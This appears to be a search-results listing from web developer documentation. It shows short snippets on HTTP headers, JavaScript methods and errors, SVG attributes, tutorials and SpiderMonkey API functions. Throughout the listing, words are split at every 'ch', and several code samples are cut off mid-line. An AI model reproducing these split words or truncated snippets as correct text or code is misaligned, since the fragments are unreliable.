ch as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its
choice with the content-language response header.
... browsers set adequate values for this header according to their user interface language and even if a user can
change it, this happens rarely (and is frowned upon as it leads to fingerprinting).
...And 3 more matches
Content-Disposition - HTTP
in a regular http response, the content-disposition response header is a header indicating if the content is expected to be displayed inline in the browser, that is, as a web page or as part of a web page, or as an atta
chment, that is downloaded and saved locally.
... header type response header (for the main body) general header (for a subpart of a multipart body) forbidden header name no syntax as a response header for the main body the first parameter in the http context is either inline (default value, indicating it can be displayed inside the web page, or as the web page) or atta
chment (indicating it should be downloaded; most browsers presenting a 'save as' dialog, prefilled with the value of the filename parameters if present).
... content-disposition: inline content-disposition: atta
chment content-disposition: atta
chment; filename="filename.jpg" as a header for a multipart body the first parameter in the http context is always form-data.
...And 3 more matches
Expect-CT - HTTP
ct requirements can be satisfied via any one of the following me
chanisms: x.509v3 certificate extension to allow embedding of signed certificate timestamps issued by individual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser
check that any certificate for that site appears in public ct logs.
...certificates before mar
ch 2018 were allowed to have a lifetime of 39 months, those will all be expired in june 2021.
... header type response header forbidden header name yes syntax expect-ct: report-uri="<uri>", enforce, max-age=<age> directives max-age the number of seconds after reception of the expect-ct header field during whi
ch the user agent should regard the host of the received message as a known expect-ct host.
...And 3 more matches
Pragma - HTTP
the pragma http/1.0 general header is an implementation-specific header that may have various effects along the request-response
chain.
... it is used for backwards compatibility with http/1.0 ca
ches where the ca
che-control http/1.1 header is not yet present.
... note: pragma is not specified for http responses and is therefore not a reliable replacement for the general http/1.1 ca
che-control header, although it does behave the same as ca
che-control: no-ca
che, if the ca
che-control header field is omitted in a request.
...And 3 more matches
Save-Data - HTTP
the save-data header field is a boolean whi
ch, in requests, indicates the client's preference for reduced data usage.
... this could be for reasons su
ch as high transfer costs, slow connection speeds, etc.
... a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative content to reduce the data downloaded su
ch as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on.
...And 3 more matches
User-Agent - HTTP
the user-agent request header is a
characteristic string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.
... rv:geckoversion indicates the release version of gecko (su
ch as "17.0").
...(on desktop, geckotrail is always the fixed string 20100101.) firefox/firefoxversion indicates the browser is firefox, and provides the version (su
ch as "17.0").
...And 3 more matches
X-Frame-Options - HTTP
note: the content-security-policy http header has a frame-ancestors directive whi
ch obsoletes this header for supporting browsers.
...the spec leaves it up to browser vendors to decide whether this option applies to the top level, the parent, or the whole
chain, although it is argued that the option is not very useful unless all ancestors are also in the same origin (see bug 725490).
...note that in the legacy firefox implementation this still suffered from the same problem as sameorigin did — it doesn't
check the frame ancestors to see if they are in the same origin.
...And 3 more matches
SyntaxError: invalid regular expression flag "x" - JavaScript
message syntaxerror: syntax error in regular expression (edge) syntaxerror: invalid regular expression flag "x" (firefox) syntaxerror: invalid regular expression flags (
chrome) error type syntaxerror what went wrong?
...in a regular expression literal, whi
ch consists of a pattern enclosed between slashes, the flags are defined after the second slash.
... to include a flag with the regular expression, use this syntax: var re = /pattern/flags; or var re = new regexp('pattern', 'flags'); regular expression flags flag description g global sear
ch.
...And 3 more matches
TypeError: 'x' is not iterable - JavaScript
the javascript exception "is not iterable" occurs when the value whi
ch is given as the right hand-side of for…of or as argument of a function su
ch as promise.all or typedarray.from, is not an iterable object.
... message typeerror: 'x' is not iterable (firefox,
chrome) typeerror: 'x' is not a function or its return value is not iterable (
chrome) error type typeerror what went wrong?
... the value whi
ch is given as the right hand-side of for…of or as argument of a function su
ch as promise.all or typedarray.from, is not an iterable object.
...And 3 more matches
Array.prototype.findIndex() - JavaScript
see also the find() method, whi
ch returns the value of an array element, instead of its index.
... syntax arr.findindex(callback( element[, index[, array]] )[, thisarg]) parameters callback a function to execute on ea
ch value in the array until the function returns true, indicating that the satisfying element was found.
... if su
ch an element is found, findindex() immediately returns the element's index.
...And 3 more matches
Array.prototype.length - JavaScript
the length property of an object whi
ch is an instance of type array sets or returns the number of elements in that array.
...when you extend an array by
changing its length property, the number of actual elements increases; for example, if you set length to 3 when it is currently 2, the array now contains 3 elements, whi
ch causes the third element to be a non-iterable empty slot.
...console.log(arr); // [ 1, 2, <3 empty items> ] arr.forea
ch(element => console.log(element)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array.
...And 3 more matches
Date.prototype.toLocaleDateString() - JavaScript
in older implementations, whi
ch ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...in implementations, whi
ch ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
... the default value for ea
ch date-time component property is undefined, but if the weekday, year, month, day properties are all undefined, then year, month, and day are assumed to be "numeric".
...And 3 more matches
Date.prototype.toLocaleTimeString() - JavaScript
in older implementations, whi
ch ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...in implementations, whi
ch ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
... the default value for ea
ch date-time component property is undefined, but if the hour, minute, second properties are all undefined, then hour, minute, and second are assumed to be "numeric".
...And 3 more matches
Intl.Collator.supportedLocalesOf() - JavaScript
syntax intl.collator.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of su
ch strings.
...an object that may have the following property: localemat
cher the locale mat
ching algorithm to use.
...the language tags returned are those for whi
ch the runtime supports a locale in collation that the locale mat
ching algorithm used considers a mat
ch, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
syntax intl.datetimeformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of su
ch strings.
...an object that may have the following property: localemat
cher the locale mat
ching algorithm to use.
...the language tags returned are those for whi
ch the runtime supports a locale in date and time formatting that the locale mat
ching algorithm used considers a mat
ch, so that it wouldn't have to fall back to the default locale.
...And 3 more matches
pointer-events - SVG: Scalable Vector Graphics
to
change the color of the rect underneath you have to click outside the circle --> <rect x="0" y="0" height="10" width="10" fill="black" /> <circle cx="5" cy="5" r="4" fill="white" pointer-events="visiblepoint" /> <!-- the circle below will never cat
ch a mouse event.
... the rect underneath will
change color whether you are clicking on the circle or the rect itself --> <rect x="10" y="0" height="10" width="10" fill="black" /> <circle cx="15" cy="5" r="4" fill="white" pointer-events="none" /> </svg> window.addeventlistener('mouseup', (e) => { // let's pick a random color between #000000 and #ffffff const color = math.round(math.random() * 0xffffff) // let's format the color to fit css requirements const fill = '#' + color.tostring(16).padstart(6,'0') // let's apply our color in the // element we actually clicked on e.target.style.fill = fill }) as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath>, <defs>, <ellipse...
...>, <foreignobject>, <g>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <swit
ch>, <symbol>, <text>, <textpath>, <tspan>, <use> usage notes value bounding-box | visiblepainted | visiblefill | visiblestroke | visible | painted | fill | stroke | all | none default value visiblepainted animatable yes for a detailed explanation of ea
ch possible value, have a look at the css pointer-events documentation.
...And 3 more matches
requiredFeatures - SVG: Scalable Vector Graphics
it determines whether or not all of the named features are supported by the browser; if all of them are supported, the attribute evaluates to true end the element is rendered; otherwise, the attribute evaluates to false and the current element and its
children are skipped and thus will not be rendered.
... requiredfeatures is often used in conjunction with the <swit
ch> element.
... if requiredfeatures is used in other situations, it represents a simple swit
ch on the given element whether to render the element or not.
...And 3 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
--> <path d="m9,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for ea
ch stroke --> <g id="highlight"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5.5" r="0.05" fill="pink" /> </g> <use xlink:href="#highlight" x="6" /> <use xlink:href="#highlight" x="12" /> <use xl...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "arcs" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for ea
ch stroke --> <g id="p"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> </g> </svg> bevel the bevel value indicates that a bevelled corner is to be used to join path segments.
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "bevel" value --> <path d="m1,5 l2,-3 l2,3" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- the following pink lines highlight the position of the path for ea
ch stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> </g> </svg> miter the miter value indicates that a sharp corner is to be used to join path segments.
...And 3 more matches
x - SVG: Scalable Vector Graphics
the exact content text position is influenced by some properties like text-an
chor, or direction.
... if there are multiple values, x defines the x coordinate of ea
ch individual glyph from the text.
...the exact content text position is influenced by some properties like text-an
chor, or direction.
...And 3 more matches
y - SVG: Scalable Vector Graphics
the exact content text position is influenced by some properties like text-an
chor, or direction.
... if there are multiple values, y defines the y coordinate of ea
ch individual glyph from the text.
...the exact content text position is influenced by some properties like text-an
chor, or direction.
...And 3 more matches
<a> - SVG: Scalable Vector Graphics
svg's <a> element is a container, whi
ch means you can create a link around text (like in html) but also around any shape.
... @namespace svg url(http://www.w3.org/2000/svg); html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- a link around a shape --> <a href="/docs/web/svg/element/circle"> <circle cx="50" cy="40" r="35"/> </a> <!-- a link around a text --> <a href="/docs/web/svg/element/text"> <text x="50" y="90" text-an
chor="middle"> <circle> </text> </a> </svg> /* as svg does not provide a default visual style for links, it's considered best practice to add some */ @namespace svg url(http://www.w3.org/2000/svg); /* necessary to select only svg <a> elements, and not also html’s.
... value type: <string> ; default value: none; animatable: yes ping a space-separated list of urls to whi
ch, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
...And 3 more matches
<altGlyph> - SVG: Scalable Vector Graphics
the <altglyph> svg element allows sophisticated selection of the glyphs used to render its
child
character data.
... usage context categoriestext content element, text content
child elementpermitted contentany elements or
character data attributes x this attribute defines the corresponding absolute x-coordinates for rendering the element.
... value type: <list-of-numbers> ; default value: none; animatable: yes (non-additive) glyphref the glyph identifier, the format of whi
ch is dependent on the format defined by the format attribute of the given font.
...And 3 more matches
<feConvolveMatrix> - SVG: Scalable Vector Graphics
a wide variety of imaging operations can be a
chieved through convolutions, including blurring, edge detection, sharpening, embossing and beveling.
... a matrix convolution is based on an n-by-m matrix (the convolution kernel) whi
ch describes how a given pixel value in the input image is combined with its neighboring pixel values to produce a resulting pixel value.
... ea
ch result pixel is determined by applying the kernel matrix to the corresponding source pixel and its neighboring pixels.
...And 3 more matches
<feDiffuseLighting> - SVG: Scalable Vector Graphics
the <fediffuselighting> svg filter primitive lights an image using the alpha
channel as a bump map.
... the resulting image, whi
ch is an rgba opaque image, depends on the light color, light position and surface geometry of the input bump map.
... example the following example show the effect of the <fediffuselighting> element on a circle with ea
ch light source available.
...And 3 more matches
SVG element reference - SVG: Scalable Vector Graphics
« svg / svg attribute reference » svg drawings and images are created using a wide array of elements whi
ch are dedicated to the construction, drawing, and layout of vector images and diagrams.
... here you'll find reference documentation for ea
ch of the svg elements.
... <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <fedistantlight> <fedropshadow> <feflood> <fefunca> <fefuncb> <fefuncg> <fefuncr> <fegaussianblur> <feimage> <femerge> <femergenode> <femorphology> <feoffset> <fepointlight> <fespecularlighting> <fespotlight> <fetile> <feturbulence> <filter> <foreignobject> g <g> h <hat
ch> <hat
chpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpat
ch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <radialgradient> <rect> s <script> <set> <solidcolor> <stop> <style> <svg> <swit
ch> <symbol> t <text> <textpath> <title> <tspan> u <unknown> <use> v <view> ...
...And 3 more matches
Basic Transformations - SVG: Scalable Vector Graphics
transformations can be
chained simply by concatenating them, separated by whitespace.
...ea
ch one takes an angle that determines how far the element will be skewed.
... scaling scale()
changes the size of an element.
...And 3 more matches
Features restricted to secure contexts - Web security
api
chrome/opera edge safari firefox async clipboard api 66 not supported not supported 63 background sync (see syncmanager, for example) 49 not supported not supported not supported ca
che-control: immutable not supported 15 11 49 credential management api 51 not supported not supported not supported ...
...this section lists any su
ch differences existing in browsers.
... api
chrome edge safari firefox application ca
che restricted to secure contexts planned in
chrome 70 deprecation planning started in february 2018 public interest on deprecation webkit bug 182442 restricted to secure contexts in firefox 62 geolocation restricted to secure contexts in 50 restricted to secure contexts in 10 restricted to secure contexts in 55 device orientaion / device motion deprecation warning deprecation warnings since 60.
...And 3 more matches
XML introduction - XML: Extensible Markup Language
this is a powerful way to store data in a format that can be stored, sear
ched, and shared.
... document must conform to semantic rules, whi
ch are usually set in an xml s
chema or a dtd (document type definition).
... entities like html, xml offers methods (called entities) for referring to some special reserved
characters (su
ch as a greater than sign whi
ch is used for tags).
...And 3 more matches
translate - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the translate function evaluates a string and a set of
characters to translate and returns the translated string.
... abc the string of
characters that will be replaced.
... xyz the string of
characters used for replacement.
...And 3 more matches
Exported WebAssembly functions - WebAssembly
an example let's look at an example to clear things up (you can find this on github as table-set.html; see it running live also, and
check out the wasm text representation): var othertable = new webassembly.table({ element: "anyfunc", initial: 2 }); webassembly.instantiatestreaming(fet
ch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertable.set(1,tbl.get(1)); console.log(othertable.get(0)()); co...
... we then get the function exported from the module, retrieve the functions it references via tbl.get() and log the result of invoking ea
ch one to the console.
... to prove this, we then retrieve these references back from othertable and print their results to console too, whi
ch gives the same results.
...And 3 more matches
Example 4 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit"> <option>
cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">
cherry</span> <ul class="optlist hidden"> <li class="option">
cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles ...
... .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.forea
ch = function (callback) { array.prototype.forea
ch.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(selec...
...t, selectlist) { if (select.classlist.contains('active')) return; selectlist.forea
ch(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.forea
ch(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.previouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption...
...And 2 more matches
Test your skills: Form structure - Learn web development
note: you can try out the solution in the interactive editor below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... form structure 1 in this task we want you to structure the provided form features: separate out the first two and second two form fields into two distinct containers, ea
ch with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two).
... mark up ea
ch text label with an appropriate element so that it is semantically associated with its respective form field.
...And 2 more matches
Test your skills: Advanced HTML text - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... semantically associate ma
chine-readable dates with the dates in the text.
... use subscript and superscript to provide correct semantics for the
chemical formulae and dates, and make them display correctly.
...And 2 more matches
Test your skills: Multimedia and embedding - Learn web development
this aim of this skill test is to assess whether you've understood our video and audio content and from object to iframe — other embedding te
chnologies articles.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... let the browser know in advance what video formats the sources point to, so it can make an informed
choice of whi
ch one to download ahead of time.
...And 2 more matches
Structuring the web with HTML - Learn web development
to build websites, you should know about html — the fundamental te
chnology used to define the structure of a webpage.
... it is recommended that you work through getting started with the web before attempting this topic, however, it isn't absolutely necessary; mu
ch of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail.
... after learning html, you can then move on to learning about more advanced topics su
ch as: css, and how to use it to style html (for example alter your text size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and mu
ch mu
ch more.) modules this topic contains the following modules, in a suggested order for working through them.
...And 2 more matches
Test your skills: variables - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... variables 3 the final task for now — in this case you are provided with some existing code, whi
ch has two errors present in it.
... the results panel should be outputting the name
chris, and a statement about how old
chris will be in 20 years' time.
...And 2 more matches
Test your skills: Object-oriented JavaScript - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
...we want you to: add a new method to the shape class's prototype, calcperimeter(), whi
ch calculates its perimeter (the length of the shape's outer edge) and logs the result to the console.
... call triangle.calcperimeter() to
check that it works ok.
...And 2 more matches
Web performance - Learn web development
to build websites and applications people want to use, whi
ch attract and retain users, you need to create a good user experience.
... the rest of our beginner's learning material tried to stick to web best practices su
ch as performance and accessibility as mu
ch as possible, however, it is good to focus specifically on su
ch topics too, and make sure you are familiar with them.
... it would also be helpful to go a bit deeper into these topics, with modules su
ch as: introduction to html css first steps javascript first steps once you've worked through this module, you'll probably be excited to go deeper into web performance — you can find a lot of further tea
chings in our main mdn web performance section, including overviews of performance apis, testing and analysis tools, and performance bottleneck got
chas.
...And 2 more matches
Server-side website programming - Learn web development
most major websites use some kind of server-side te
chnology to dynamically display data as required.
...displaying all of these using different static pages would be extremely inefficient, so instead su
ch sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, su
ch as when you want to view a different product on amazon.
... learning pathway getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database,
checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.
...And 2 more matches
Cross browser testing - Learn web development
guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions su
ch as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approa
ches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
... what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some virtual ma
chines and do ad-hoc tests when needed), higher te
ch strategies (automation, using dedicated testing apps), and testing with user groups.
...this article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection su
ch as @supports.
...And 2 more matches
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can
chain together, how to install them using package managers, and control them using the command line.
... we finish up by providing a complete tool
chain example showing you how to get productive.
...this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to
chain commands together, and how to add your own command line interface (cli) tools.
...And 2 more matches
Installing headers using EXPORTS
this is accomplished by setting make variables telling the build system whi
ch module the headers are for (since headers are organized by module under <tt>dist/include</tt>), and whi
ch headers need to be created from idl files by xpidl.
... for all <tt>makefile.in</tt>s whi
ch export public headers, you should set module to the module name where the files should be copied to in <tt>dist/include</tt>.
...for xpidl-generated headers, you may also set xpidl_module to determine whi
ch typelib file is produced from the idl files.
...And 2 more matches
pymake
make.py (and the pymake modules that support it) are an implementation of the make tool whi
ch are mostly compatible with makefiles written for gnu make.
...usage if you use ma
ch for everything, you don't have to worry about gmake and pymake: ma
ch will run whatever is best for the current ma
chine.
... note: on windows, you must take special care to be able to swit
ch back and forth between gmake and pymake on the same object dir.
...And 2 more matches
Frame script environment
addmessagelistener() listen to messages from
chrome.
... removemessagelistener() stop listening to messages from
chrome.
... sendasyncmessage() send an asyn
chronous message to
chrome.
...And 2 more matches
Frame script environment
addmessagelistener() listen to messages from
chrome.
... removemessagelistener() stop listening to messages from
chrome.
... sendasyncmessage() send an asyn
chronous message to
chrome.
...And 2 more matches
JSNewEnumerateOp
*cx, js::handleobject obj, js::autoidvector &properties); // added in spidermonkeysidebar 38 typedef bool (* jsnewenumerateop)(jscontext *cx, js::handleobject obj, jsiterateop enum_op, js::mutablehandlevalue statep, js::mutablehandleid idp); // obsolete since jsapi 37 name type description cx jscontext * the context in whi
ch the enumeration is taking place.
... enum_op jsiterateop obsolete since jsapi 37 specifies whi
ch step in iteration is happening.
...when an ordinary object is enumerated, that object and ea
ch object on its prototype
chain is tested for an enumerate op, and those ops are called in order.
...And 2 more matches
JSNewResolveOp
syntax typedef bool (* jsnewresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandleobject objp); name type description cx jscontext * pointer to the js context in whi
ch the property access is taking place.
...on success, the resolve hook must set *objp to the object in whi
ch the property has been defined, or null if it was not defined.
...setting jsclass_new_resolve and jsclass_new_resolve_gets_start further extends this hook by passing in the starting object on the prototype
chain via *objp.
...And 2 more matches
JSObjectOps.getProperty
details of the api may
change from one release to the next.
... ea
ch of these callbacks is responsible for everything involved with an individual property access operation, including: any locking necessary for thread safety; security
checks; finding the property, including walking the prototype
chain if needed; calling the lower-level jsclass hooks; calling getters or setters; and actually getting, setting, or deleting the property once it is found.
... contrast jsclass.getproperty, jsclass.setproperty, and jsclass.delproperty, whi
ch are hooks called during property accesses and don't have to implement any of that.
...And 2 more matches
JS_BeginRequest
syntax void js_beginrequest(jscontext *cx); void js_endrequest(jscontext *cx); name type description cx jscontext * the context in whi
ch the calling thread intends to call jsapi functions.
...in this reference, the cx parameter of su
ch functions is documented with the phrase “requires request”, like this: name type description cx jscontext * the context to use.
...if one thread needs garbage collection, it blocks until ea
ch other thread makes a jsapi call.
...And 2 more matches
JS_CStringsAreUTF8
api users should swit
ch to functions whi
ch take utf-8 explicitly or handle their own string encoding and decoding.
... option to have the jsapi treat
char strings as utf-8.
...that is, ea
ch byte is treated as a unicode
character, and there is no way to pass in a string containing
characters beyond u+00ff.
...And 2 more matches
JS_ConstructObject
syntax jsobject * js_constructobject(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent); jsobject * js_constructobjectwitharguments(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent, unsigned int argc, jsval *argv); name type description cx jscontext * the context in whi
ch to create the new object.
...cx is a pointer to a context associated with the runtime in whi
ch to create the new object.
... for details on how we find the appropriate constructor and default prototype, see js_newobject:
choosing a default prototype.
...And 2 more matches
JS_ConvertArgumentsVA
syntax bool js_convertargumentsva(jscontext *cx, const js::callargs &args, const
char *format, va_list ap); bool js_convertargumentsva(jscontext *cx, unsigned argc, jsval *argv, const
char *format, va_list ap); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
...obsolete since jsapi 30 format const
char *
character array containing the recognized format to whi
ch to convert.
... ap va_list the list of pointers into whi
ch to store the converted types.
...And 2 more matches
JS_DefineFunction
syntax jsfunction * js_definefunction(jscontext *cx, js::handle<jsobject*> obj, const
char *name, jsnative call, unsigned nargs, unsigned attrs); jsfunction * js_defineucfunction(jscontext *cx, js::handle<jsobject*> obj, const
char16_t *name, size_t namelen, jsnative call, unsigned nargs, unsigned attrs); jsfunction * js_definefunctionbyid(jscontext *cx, js::handle<jsobject*> obj, js::handle<jsid> id, jsnative call, unsigned nargs, unsigned attrs); // added in spidermonkey 17 name type description cx jscontext * the context in whi
ch to define the fun...
... obj js::handle<jsobject*> object for whi
ch to define a function as a property (method).
... name const
char * or const
char16_t * name to assign to the function.
...And 2 more matches
JS_DefinePropertyWithTinyId
syntax jsbool js_definepropertywithtinyid( jscontext *cx, jsobject *obj, const
char *name, int8 tinyid, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); jsbool js_defineucpropertywithtinyid( jscontext *cx, jsobject *obj, const js
char *name, size_t namelen, int8 tinyid, jsval value, jspropertyop getter, jspropertyop setter, unsigned int attrs); name type description cx jscontext * the context in whi
ch to define the property.
... obj jsobject * object for whi
ch to create the new property.
... name const
char * or const js
char * name for the property to create.
...And 2 more matches
JS_DeleteProperty
syntax bool js_deleteproperty(jscontext *cx, js::handleobject obj, const
char *name); bool js_deletepropertybyid(jscontext *cx, js::handleobject obj, jsid id); // added in spidermonkey 1.8.1 // added in spidermonkey 45 bool js_deleteproperty(jscontext *cx, js::handleobject obj, const
char *name, js::objectopresult &result); bool js_deletepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::objectopresult &result); bool js_deleteucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, js::objectopresult &result); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime...
... obj js::handleobject object from whi
ch to delete a property.
... name or id const
char * or jsid or const
char16_t * name of the property to delete.
...And 2 more matches
JS_Enumerate
syntax jsidarray * js_enumerate(jscontext *cx, js::handleobject obj); name type description cx jscontext * the context in whi
ch to enumerate object properties.
...(the term own property refers to a property that is not inherited from the object's prototype.) this is not quite the same behavior as a javascript for...in loop, whi
ch converts all property ids to strings and also enumerates inherited properties.
...as long as obj is rea
chable, its current property ids are rea
chable.
...And 2 more matches
JS_ExecuteScriptVersion
syntax jsbool js_executescriptversion(jscontext *cx, jsobject *obj, jsobject *scriptobj, jsval *rval, jsversion version); name type description cx jscontext * the context in whi
ch to execute the script.
... obj jsobject * the scope in whi
ch to execute the script.
...instead: the scope
chain is initialized to contain obj, followed by its parent, then its parent's parent, etc.
...And 2 more matches
JS_FileEscapedString
syntax bool js_fileescapedstring(file *fp, jsstring *str,
char quote); name type description fp file * a file pointer to write into.
... quote
char one of 0, single quote, and double quote.
... description js_fileescapedstring writes str into file fp escaping any non-printable or non-ascii
character.
...And 2 more matches
JS_GetElement
syntax bool js_getelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandlevalue vp); name type description cx jscontext * the context in whi
ch to perform the property lookup.
... obj js::handleobject the object to sear
ch for the element.
... description js_getelement examines a specified js object, obj, and its prototype
chain, for an element or numeric property numbered index.
...And 2 more matches
JS_GetOwnPropertyDescriptor
syntax bool js_getownpropertydescriptor(jscontext *cx, js::handleobject obj, const
char *name, js::mutablehandle<jspropertydescriptor> desc); bool js_getownpropertydescriptorbyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandle<jspropertydescriptor> desc); bool js_getownucpropertydescriptor(jscontext *cx, js::handleobject obj, const
char16_t *name, js::mutablehandle desc); // added in spidermonkey 45 name type description cx jscontext * a context.
... obj js::handleobject the object to sear
ch for the property.
... id const
char * or js::handleid or const
char16_t the name of the property to look up.
...And 2 more matches
AnalyserNode.getFloatFrequencyData() - Web APIs
ea
ch item in the array represents the decibel value for a specific frequency.
... if you need higher performance and don't care about precision, you can use analysernode.getbytefrequencydata() instead, whi
ch works on a uint8array.
...for any sample whi
ch is silent, the value is -infinity.
...And 2 more matches
AnalyserNode.smoothingTimeConstant - Web APIs
it's basically an average between the current buffer and the last buffer the analysernode processed, and results in a mu
ch smoother set of value
changes over time.
... if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", whi
ch essentially smoothes the
changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls.
... in te
chnical terms, we apply a blackman window and smooth the values over time.
...And 2 more matches
AnalyserNode - Web APIs
it is an audionode that passes the audio stream un
changed from the input to the output, but allows you to take the generated data, process it, and create audio visualizations.
... number of inputs 1 number of outputs 1 (but may be left unconnected)
channel count mode "max"
channel count 2
